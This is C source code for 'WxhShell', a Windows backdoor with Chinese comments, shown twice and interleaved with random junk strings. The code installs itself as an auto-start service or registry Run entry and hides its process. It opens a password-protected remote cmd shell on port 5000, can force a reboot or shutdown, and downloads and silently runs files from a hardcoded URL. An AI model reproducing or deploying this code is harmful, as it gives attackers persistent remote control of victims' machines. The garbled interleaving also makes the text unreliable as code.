(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z=$-S(>J &g}P)xr if (!NtQueryInformationProcess) return 0; {Zw;<1{E AP z"k?D0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tvno3" if(!hProcess) return 0; v?8i;[ PcbhylKd if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C@;e< qu#xc0? CloseHandle(hProcess); m*1 {a\! 1~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,ye[TQ\,M if(hProcess==NULL) return 0; VJ
h]j( S/*\j7cj HMODULE hMod; @gqZiFM) char procName[255]; W4.w unsigned long cbNeeded; NsS;d^%I h}nS&. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rYV]<[?~7 aZo}Ix:/ CloseHandle(hProcess); Y8%l)g $XcH.z if(strstr(procName,"services")) return 1; // 以服务启动 AJ}m2EH BT}l" return 0; // 注册表启动 a
Z)1S X`D } CN` ~DD{ 22ySMtxn // 主模块 PI$i_3N int StartWxhshell(LPSTR lpCmdLine) rF}Q(<Y86 { U<F|A!Fg SOCKET wsl; 6.tA$#6HP BOOL val=TRUE; gT=pO`a int port=0; )sQ/$gJ struct sockaddr_in door; 2 Y9u9;ah tz?3R#rM if(wscfg.ws_autoins) Install(); 4V{&[ Z "{+2Q port=atoi(lpCmdLine); y(iq ->OVNmCB`+ if(port<=0) port=wscfg.ws_port; nT01B1/<] %hmRh~/& WSADATA data; &=S:I!9;; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `, ]ui* og8hc~:ro if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `z q+Xl setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K@:omT door.sin_family = AF_INET; .*`]x door.sin_addr.s_addr = inet_addr("127.0.0.1"); @J>JZ7m]\ door.sin_port = htons(port); SHSfe{n bxwwYSS if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Q)I5sL@E closesocket(wsl); }&L%c> return 1; 8G$BQ } <L*`WO]\l wA7\K~fHV if(listen(wsl,2) == INVALID_SOCKET) { # X1a v closesocket(wsl); :J@3:+sr return 1; `#W+pO } IYtiX Wxhshell(wsl); F#L1~\7 WSACleanup(); %2b^t*CQ )l!
/7WKY return 0; 1_!?wMo:f :_xfi9L~W0 } 7f
k)a ~a4Y8r // 以NT服务方式启动 ex`T9j.=B VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~uq010lMno { `YwJ.E DWORD status = 0; yEjiMtQll] DWORD specificError = 0xfffffff; \p.yR. >l%8d'=Jl serviceStatus.dwServiceType = SERVICE_WIN32; w-R.) serviceStatus.dwCurrentState = SERVICE_START_PENDING; zjow % serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; - >?tB1}^ serviceStatus.dwWin32ExitCode = 0; w
oIZFus serviceStatus.dwServiceSpecificExitCode = 0; {9{X\| serviceStatus.dwCheckPoint = 0; co\Il]`R/ serviceStatus.dwWaitHint = 0; -
7T`/6 a6;[Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -l_B;Sb:e if (hServiceStatusHandle==0) return; PW5)") z Iw.!*0$ status = GetLastError(); |cnps$fk~ if (status!=NO_ERROR) 9.xRDk { #C. serviceStatus.dwCurrentState = SERVICE_STOPPED; #Ff8_xhP 2 serviceStatus.dwCheckPoint = 0; }wp/,\_
> serviceStatus.dwWaitHint = 0; }ssja,; serviceStatus.dwWin32ExitCode = status; }6.@ serviceStatus.dwServiceSpecificExitCode = specificError; Ua:@,}; SetServiceStatus(hServiceStatusHandle, &serviceStatus); }.'rhR+ return; 2ry@<88 } 'oY#a9~Z{ 0fvOA*UP serviceStatus.dwCurrentState = SERVICE_RUNNING; S2\;\?]^~ serviceStatus.dwCheckPoint = 0; 5rbb
,* serviceStatus.dwWaitHint = 0; +XO\#$o>W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -n[(0n3c } }
)Lz%Z 7$g$p&,VX // 处理NT服务事件,比如:启动、停止 w1-P6cf VOID WINAPI NTServiceHandler(DWORD fdwControl) K, !
V _ { Z- a switch(fdwControl) Djc-f { vK+reXE case SERVICE_CONTROL_STOP: A-uIZ
zC serviceStatus.dwWin32ExitCode = 0; LWTPNp:"{w serviceStatus.dwCurrentState = SERVICE_STOPPED; z7AWWr=H serviceStatus.dwCheckPoint = 0; flC%<V%'- serviceStatus.dwWaitHint = 0; =&pLlG { 6hd<ys? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3+uL@LXd } *-Yw%uR
return; T_D] rMl case SERVICE_CONTROL_PAUSE: .1;UEb|T serviceStatus.dwCurrentState = SERVICE_PAUSED; ;>5`Y8s6 break; MIr+4L case SERVICE_CONTROL_CONTINUE: M.s'~S7y serviceStatus.dwCurrentState = SERVICE_RUNNING; 1d FuoX break; 8 I_ case SERVICE_CONTROL_INTERROGATE: "|1iz2L break; 7M7Ir\d0lp }; IKPGqoM SetServiceStatus(hServiceStatusHandle, &serviceStatus); S :}"gwFM } &*7KQd $57b.+2n // 标准应用程序主函数 p$|7T31 * int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eZU9L/w: { -j]k^ jMTM:~0N // 获取操作系统版本 /N_:npbJF OsIsNt=GetOsVer(); LOi}\O8 GetModuleFileName(NULL,ExeFile,MAX_PATH); wxc#)W I-r+1gty // 从命令行安装 yCN_vrH> if(strpbrk(lpCmdLine,"iI")) Install(); Q*%}w_D6f }kr?+)wB // 下载执行文件 /<8y> if(wscfg.ws_downexe) {
HrsG^x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #L+:MA7H WinExec(wscfg.ws_filenam,SW_HIDE); h,m 90Hd+ } r
<5}& B` 1VM2CgR a if(!OsIsNt) { 9!uiQ // 如果时win9x,隐藏进程并且设置为注册表启动 kq5X<'MM9N HideProc(); P* `*^r3 StartWxhshell(lpCmdLine); 1,;X4/* } p+V#86(3 else J,CwC) if(StartFromService()) \|{/.R // 以服务方式启动 S$Zi{bU`G StartServiceCtrlDispatcher(DispatchTable); \*e\MOp6 else BXYH&2]Q // 普通方式启动 Wj(#!\ 7F StartWxhshell(lpCmdLine); 9|}Pf_5]%[ }/vW"&h- return 0; Yjjh}R# } <R@,wzK kc^,V|Nbq6 @pYEzizP7 iI IXv =========================================== 'v V7@@ pCh v; Wvr{l + tMf&BZ \$wkr P7.bn " &R%'s1]o W/ Q*NB #include <stdio.h> byM-$l #include <string.h> ]c7X~y #include <windows.h> g5@g_~ g #include <winsock2.h> GcdJf/k #include <winsvc.h> _5-h\RB) #include <urlmon.h> Df^F)\7!N? '&![h7B #pragma comment (lib, "Ws2_32.lib") ~pQN#C)CO> #pragma comment (lib, "urlmon.lib") /qX?ca1_4^ 'V]&X.=zC #define MAX_USER 100 // 最大客户端连接数 "G K9Y #define BUF_SOCK 200 // sock buffer ?FAI@4 #define KEY_BUFF 255 // 输入 buffer )?$[iu7 s D:_W;b) #define REBOOT 0 // 重启 c[,h|~K/_? #define SHUTDOWN 1 // 关机 6UeY Z g R{H[< s+n #define DEF_PORT 5000 // 监听端口 e(?w h K@O^\ #define REG_LEN 16 // 注册表键长度 7pyzPc#_ #define SVC_LEN 80 // NT服务名长度 ",$_\l f_jhQ..g<g // 从dll定义API 1g{Pe`G, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C}RO'_Pq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3x0t[{l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IFp%Ta typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {6zNCO g F*AS(9 // wxhshell配置信息 /D&&7;jJ struct WSCFG { hF,|()E[ int ws_port; // 监听端口 nMyl(kF[ char ws_passstr[REG_LEN]; // 口令 #0P_\X`E int ws_autoins; // 安装标记, 1=yes 0=no H;1@]|sH# char ws_regname[REG_LEN]; // 注册表键名 P0n1I7| char ws_svcname[REG_LEN]; // 服务名 AI.(}W4] char ws_svcdisp[SVC_LEN]; // 服务显示名 n:%4SZn char ws_svcdesc[SVC_LEN]; // 服务描述信息 9D3{[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /kbU< int ws_downexe; // 下载执行标记, 1=yes 0=no S<"Fp1#"l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f82%nT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gJ
\6cZD Qq<@;4 }; mn/)_1', +i&<`ov // default Wxhshell configuration Q 7_5 struct WSCFG wscfg={DEF_PORT, 3f[Yk#" "xuhuanlingzhe", 6c-/D.M 1, aOwjYl[?p "Wxhshell", \Oeo"| "Wxhshell", B.q/}\
?( "WxhShell Service", Ktq 4b%{ "Wrsky Windows CmdShell Service", hx:q@[ +J/ "Please Input Your Password: ", Re,;$_6o 1, /;*_[g5*i "http://www.wrsky.com/wxhshell.exe", $4nAb^/ "Wxhshell.exe" r/j:A#6M]o }; [7Lr" 8 "l
PiW3 // 消息定义模块 fMUcVTFe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uuC ["Z char *msg_ws_prompt="\n\r? for help\n\r#>"; Jka>Er char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {zwH3)|Hn char *msg_ws_ext="\n\rExit."; ngo> ^9/8 char *msg_ws_end="\n\rQuit."; n)e2? char *msg_ws_boot="\n\rReboot..."; LhJUoX char *msg_ws_poff="\n\rShutdown..."; srGOIK. char *msg_ws_down="\n\rSave to "; xb,XI/ 7n7Xyb char *msg_ws_err="\n\rErr!"; XX8HSw!w char *msg_ws_ok="\n\rOK!"; 3uLG$`N q+?<cjVg char ExeFile[MAX_PATH]; xyp{_ MZ int nUser = 0; mmTpF]t
?` HANDLE handles[MAX_USER]; o,6t:?Z int OsIsNt; 0k]ApW ?jmP]MM SERVICE_STATUS serviceStatus; DrK]U}3fh" SERVICE_STATUS_HANDLE hServiceStatusHandle; 0!hr9Y]Lx v(1 [n]y // 函数声明 *f[5rr4 int Install(void); ABWn49c. int Uninstall(void); @Zt~b'n int DownloadFile(char *sURL, SOCKET wsh); ;c!> = int Boot(int flag); =;Gq:mHi void HideProc(void); Vrt$/ d int GetOsVer(void); F9fLJol int Wxhshell(SOCKET wsl); 5,"c1[`- void TalkWithClient(void *cs); 2XP
}:e int CmdShell(SOCKET sock); !HY^QK int StartFromService(void); YuK+N int StartWxhshell(LPSTR lpCmdLine); [G<ga80 yw^Pok5. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n1sYD6u<& VOID WINAPI NTServiceHandler( DWORD fdwControl ); pbH!u+DF jIol`WX // 数据结构和表定义 ?qgQ)#6 SERVICE_TABLE_ENTRY DispatchTable[] = a(gXvgrf[ { %K6veB{M {wscfg.ws_svcname, NTServiceMain}, c1#0o)q*7 {NULL, NULL} Xw?DN*`L }; nK>CPqB^( YX$(Sc3.6 // 自我安装 )~
(*q int Install(void) _@DOH2lXJ { B=|R?t (* char svExeFile[MAX_PATH]; ,aP6ct HKEY key; ;wn9
21r strcpy(svExeFile,ExeFile); pY31qhoZ. dGUP|O // 如果是win9x系统,修改注册表设为自启动 0AQazhm if(!OsIsNt) { 6G8No-#y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rb6BY-/J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pb5yz-?
RegCloseKey(key); 9\Ii$Mp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [LYO'-g^F# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F%w!I 9 RegCloseKey(key); ,lZ19B?WP return 0; n7[nl43 } b>ai"! } 4agW<c# } msl.{ else { lw@Yn>eza 3&hR#;,"X // 如果是NT以上系统,安装为系统服务 w1/QnV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~KK}
$iM if (schSCManager!=0) %*D=ni#(sT { Qit&cnO SC_HANDLE schService = CreateService `16'qc ( 1j?P$%p schSCManager, Y~"tL(WfJl wscfg.ws_svcname, gIB3DuUo wscfg.ws_svcdisp, Od!)MQ*, SERVICE_ALL_ACCESS, IWv 9!lW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pN9 ! SERVICE_AUTO_START, V(';2[) SERVICE_ERROR_NORMAL, m
Q2i$ 0u svExeFile, <V ?2;Gy NULL, _2fW/U54_ NULL, ..N6]u NULL, 8E%LhA. NULL, #(^<qr NULL @%4'2b ); cYSn
if (schService!=0) =H{<}>W' { 7`|'Om?' CloseServiceHandle(schService); |Z:yd}d CloseServiceHandle(schSCManager); x@NfN*?/+i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7-744wV}Z strcat(svExeFile,wscfg.ws_svcname); (\6E.Z# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K9N31' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _^iY;& RegCloseKey(key); *!QmYH5r0 return 0; Ip
t;NlR } 1eI*.pt } @Jd&[T27Lr CloseServiceHandle(schSCManager); )!8qJQD } T`#nn| } yYz{*hq |`T7}U return 1; -.D?Z8e } v=k+MvX i}m'#b // 自我卸载 d{fd5jv; int Uninstall(void) lR?y
tIY { !tq]kKJ3: HKEY key; &y?
|$p\;/ :8yebOs if(!OsIsNt) { IdmP!(u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ![z2]L+TB RegDeleteValue(key,wscfg.ws_regname); R27'00(Z0 RegCloseKey(key); `l|Oj$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oCT,v 0+4O RegDeleteValue(key,wscfg.ws_regname); e$9a9twl RegCloseKey(key); L^qCE-[ return 0; ,^9+G"H:I } PzJ(Q } A7L; ims7 } [4"(\r\f else { \uZpAV)5 $0V+< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uu7]`U l if (schSCManager!=0) RP~nLh3=\ { t|U5]$5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u`v&URM if (schService!=0) bB<S4@jF8z { 6,q0F*q if(DeleteService(schService)!=0) { \&F4Wl>` CloseServiceHandle(schService); +$C9@CZM9 CloseServiceHandle(schSCManager); %R GZu\p return 0; ]!ai?z%cK# } .$\-{) CloseServiceHandle(schService); 2J=`"6c } =%` s-[5b CloseServiceHandle(schSCManager); -r*|N.5c } [8'?G5/n } -mO#HZ Iq q^xG%YdPz+ return 1; "M/c0`>C!i } ';R]`vWFe QGN+f) // 从指定url下载文件 2TGND-(j int DownloadFile(char *sURL, SOCKET wsh) -;cF)C--12 { 0MRWx%CR HRESULT hr; !/G}vu char seps[]= "/"; V7WL Gy., char *token; M6wH$!zRa char *file; 4q.;\n char myURL[MAX_PATH]; _|e&zr char myFILE[MAX_PATH]; +.Vh<:? <y7{bk~i strcpy(myURL,sURL); db 99S token=strtok(myURL,seps); >_j(uw?u while(token!=NULL) [W
)%0lx { jm%P-C
@ file=token; k[ *9b:~ token=strtok(NULL,seps); 8Yc-3ozH } h[dJNawL QPm[4Fd{G GetCurrentDirectory(MAX_PATH,myFILE); (rFkXK4^J strcat(myFILE, "\\"); faOiNR7;h strcat(myFILE, file); dEYw_qJ2 send(wsh,myFILE,strlen(myFILE),0); O.jm{x!m send(wsh,"...",3,0); YT-ua{.^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i6yA>#^ if(hr==S_OK) A{>w5T return 0; 0_qr7Ui8( else =mLp g4 return 1; ;?q(8^A T"99m^y } Tu-lc) g7323m1= // 系统电源模块 0j8fU7~6S int Boot(int flag) Gy L9} { oI#TjF HANDLE hToken; +788aK,{# TOKEN_PRIVILEGES tkp; =w`Mc\o " 6W_:w if(OsIsNt) { g@ J F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <yl@!-'J7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,q%X`F
rc tkp.PrivilegeCount = 1; 0WzoI2Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8b0j rt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?5't1219 if(flag==REBOOT) { 50 w$PW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qt.4dTd:_ return 0; `XF[A8@h } XR",.3LD else { oi`L ;w|] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BcQUD?LC` return 0; 4U\>TFO } W'"hjQ_ } uPl7u1c else { m>+ if(flag==REBOOT) { x
.@O]}UH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K
'I6iCrD return 0; DI)"FOM6 } 64b AWHv else { 1PxRj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kKRu]0J~[ return 0; . AA#
G } <
e3] pM } L[PqEN\i )'jGf;du return 1; M#Z^8( } E
1`g8Hk' KT<i%)t2 // win9x进程隐藏模块 1/1oT void HideProc(void) \4qF3# { 7kD?xHpe xj33g6S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d_(;sW"I if ( hKernel != NULL ) <zY#qFQ2 { V|A.M-XLv4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c61 1& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xuHP4$<h3 FreeLibrary(hKernel); Q~"Lyy8 } /Q W^v;^ SeZ+&d return; Ho}*Bn~ic } Q65M(x+oy 7h(
// 获取操作系统版本 )+v5H int GetOsVer(void) d$o m\@ { _!|$ i OSVERSIONINFO winfo; t{UWb~" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2@T0QJ GetVersionEx(&winfo); RF8,qz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8aQTm-{m return 1; &OFVqm^ else ?0u"No52m return 0; 5O~xj: } I;AS.y ^x*J4jl // 客户端句柄模块 :9&@/{W int Wxhshell(SOCKET wsl) pHk$_t { wqm{f~nj= SOCKET wsh; vR#MUKfh struct sockaddr_in client; CBdr1 DWORD myID; K~]Xx~F 9*JxP%8T~X while(nUser<MAX_USER) fFC9:9< { !<h9XccN int nSize=sizeof(client); L})fYVX
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G,6`:l if(wsh==INVALID_SOCKET) return 1; |CQjgI|; +R$;LtR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AvIheR if(handles[nUser]==0) .FYRi_Zd closesocket(wsh); h+dk2|a else )y!gApNs" nUser++; 3bLOT#t } e7iQG@i7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6t<[- X,M!Tp return 0; ~D/Lo$K" } 4`5W] J]6 B~Z61 // 关闭 socket
j AoI`J void CloseIt(SOCKET wsh) "AqLR { `{yD\qDyX closesocket(wsh); +|oLS_ nUser--; e?XGv0^qu ExitThread(0); &9Z@P[f } Z[RifqaBby hYFi"ck // 客户端请求句柄 =JTwH>fD void TalkWithClient(void *cs) .GYdC' { \'w.<)(GI w4^$@GtN SOCKET wsh=(SOCKET)cs; ^eV K. char pwd[SVC_LEN]; }f{5-iwD} char cmd[KEY_BUFF]; s)'+,lKw char chr[1]; "FE%k>aV@v int i,j; f/kYm\Zc #~rQ\A!4 while (nUser < MAX_USER) { ,o
`tRh< K)Ya%%6[U# if(wscfg.ws_passstr) { 55y}t%5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Zi{1w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Ir?)h //ZeroMemory(pwd,KEY_BUFF); ( t"|XSF i=0; Vw.4;Zy( while(i<SVC_LEN) { FAGi`X<L &"1 _n]JO // 设置超时 ls "Z4v(L6 fd_set FdRead; iF:NDqc struct timeval TimeOut; +5GC?cW FD_ZERO(&FdRead); EN>a^B+! FD_SET(wsh,&FdRead); 4dz Ym+vJm TimeOut.tv_sec=8; (:+Wc^0 TimeOut.tv_usec=0; m*e8j[w# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qIy9{LF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vn^8nS O" [#g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .(Z^[C} pwd=chr[0]; 'oBv(H if(chr[0]==0xd || chr[0]==0xa) { Cb|R pwd=0; 'o8,XBv- break; ARJtE@s6Y } +,ld;NM{ i++; 2C_I3S~U } d|
{<SRAI }6__E;h#J // 如果是非法用户,关闭 socket 6il+hz2&lH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #LYx;[D6 } i&}LuF8 g1UQ6Oa send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? a?]
LIE8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ayU\4B N9H qFp while(1) { odvUU#l li` ZeroMemory(cmd,KEY_BUFF); p2GN93,u@P q~\[P4m // 自动支持客户端 telnet标准 p|r>tBv?x j=0; `Z`o[]% while(j<KEY_BUFF) { PB:r+[91 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rG B*a8 cmd[j]=chr[0]; .KYDYdoS' if(chr[0]==0xa || chr[0]==0xd) { ^'vWv C cmd[j]=0; ,y7X>M2 break; (WGEX(| } n>lQ:l~ j++; eYg0NEq{ } iqTmgE- H M\}C.u // 下载文件 [}l
1`> if(strstr(cmd,"http://")) { ?zXlLud8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); .6i +_B| if(DownloadFile(cmd,wsh)) NCx)zJ\S send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^X*l&R_=R else p!(]`N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2$ \#BG } 7YU}-gi else {
A^pRHbRq U&gl$/4U@ switch(cmd[0]) { a3_pF~Qx G7HvA46 // 帮助 .!1E7\ case '?': { %B# 8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {<Vw55)#0Q break; h`:gMhn } }4*~*NoQ // 安装 e({-.ra case 'i': { _4t if(Install()) k'd=|U;(FV send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!H }^v else 4V5h1/JPm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nu%MXu+ break; sTYA } *i7|~q/u // 卸载 0 !F!Y_ case 'r': { OmECvL'Z if(Uninstall()) n\4sNoFI send(wsh,msg_ws_err,strlen(msg_ws_err),0); xNxSgvco, else Z
uO
7N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $,7Yo
nc break; /.@"wAw: } TC._kAm // 显示 wxhshell 所在路径 ;[j)g,7{ case 'p': { ]A:G>K char svExeFile[MAX_PATH]; 5SHZRF(. 2 strcpy(svExeFile,"\n\r"); 5q.)K
f+ strcat(svExeFile,ExeFile); zAd%dbU| send(wsh,svExeFile,strlen(svExeFile),0); xR5zm%\ break; G+Zm } k!wEPi] // 重启 ~@VyJT% case 'b': { 1:q5h* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~0gHh if(Boot(REBOOT)) e:WKb9nT send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne2eBmY}( else { s `
+cQ closesocket(wsh); Q2xzux~T ExitThread(0); <825?W| } "?{=|%mf break; 69{q*qCW } vHx[:vuq: // 关机 A]s|"Pav, case 'd': { H<wkD9v}H5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p#AQXIF0 if(Boot(SHUTDOWN)) kR;Hb3hb send(wsh,msg_ws_err,strlen(msg_ws_err),0); QpMi+q
Y else { 5*Y(%I< closesocket(wsh); ,CQg6-[ ExitThread(0); -|&&lxrwh } hxuc4C\J break; :pgpE0 } &qae+p? // 获取shell [#C(^J*@c case 's': { .L}k-8 CmdShell(wsh); 5g;i{T/6~x closesocket(wsh); |]x>|Z?/u ExitThread(0); </jTWc'} break; J0x)NnWJ } Meo.
V|1 // 退出 ]F*fQNcjy case 'x': { 59M\uVWR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a}/ A]mu CloseIt(wsh); 8{4jlL;"`? break; }:hN}*H } /}$D&KwYg // 离开 7y'2 case 'q': { aqN6.t send(wsh,msg_ws_end,strlen(msg_ws_end),0); c R6:AGr closesocket(wsh); 1gDsL WSACleanup(); AqucP@ exit(1); [$%O-_x break; ,ftKRq } ,LVZ } &`Ek-b!7 } =^`?O* /; ^ah9:}Ll // 提示信息 xh9Os < if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q!\4|KF~ } bGe@yXId5 } .V`N^H:l o0:RsODl return; L/2,r*LNx$ } Ipyr+7/zJ m>ApN@n // shell模块句柄 gX!-s*{E int CmdShell(SOCKET sock) &'<e9 { [e;c)XS[ STARTUPINFO si; )>U7+ Me ZeroMemory(&si,sizeof(si)); MC;2.e` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h@yn0CU3. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .*Ylj2nM PROCESS_INFORMATION ProcessInfo; )@[##F2 char cmdline[]="cmd"; ?_nbaFQK3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :SvgXMY@ return 0; z6;6 o!ej } VQwF9Iq]` Z=j6c" // 自身启动模式 'CA{>\F$F+ int StartFromService(void) mL]a_S{H { &Na,D7A:3I typedef struct r: M>/Z/ { 2nkymEPu
DWORD ExitStatus;
$u
P'> DWORD PebBaseAddress; 85Red~-M DWORD AffinityMask; ,v$Q:n| DWORD BasePriority; r6gfxW5 ULONG UniqueProcessId; &ws^Dm]R ULONG InheritedFromUniqueProcessId; fv/Nf" } PROCESS_BASIC_INFORMATION; qvG@kuz8g5 a(oa?OdJ PROCNTQSIP NtQueryInformationProcess; L(+I U;#9^<^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T1#r>3c\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :kQydCuK Bvsxn5z+: HANDLE hProcess; _T\cJcWf PROCESS_BASIC_INFORMATION pbi; )J{.z |Q+:vb: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '|^x[8^ if(NULL == hInst ) return 0; BnUWg ^E W!t =9i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7-# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Ic)]0L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +o-jMvK9 ???` BF[| if (!NtQueryInformationProcess) return 0; zv0bE?W9 1s/548wu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6W[~@~D= if(!hProcess) return 0; g0ks[ }f- XR|U6bf] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gy)2 D$Eq~VQ CloseHandle(hProcess); yc+pNC)ue_ ~sT1J| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {2F@OfuCF if(hProcess==NULL) return 0; J"~!jrzBh( YpI|=mv HMODULE hMod; v6P2v char procName[255]; A~}5T%qb unsigned long cbNeeded; ]p!)8[< QTC!vKM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HT
."J Q@KCODi CloseHandle(hProcess); we8aqEomr ?kdan if(strstr(procName,"services")) return 1; // 以服务启动 <.".,Na(J0 i936+[ return 0; // 注册表启动 V:h7}T95 } O',Vce$ LyH1tF // 主模块 !|Wf
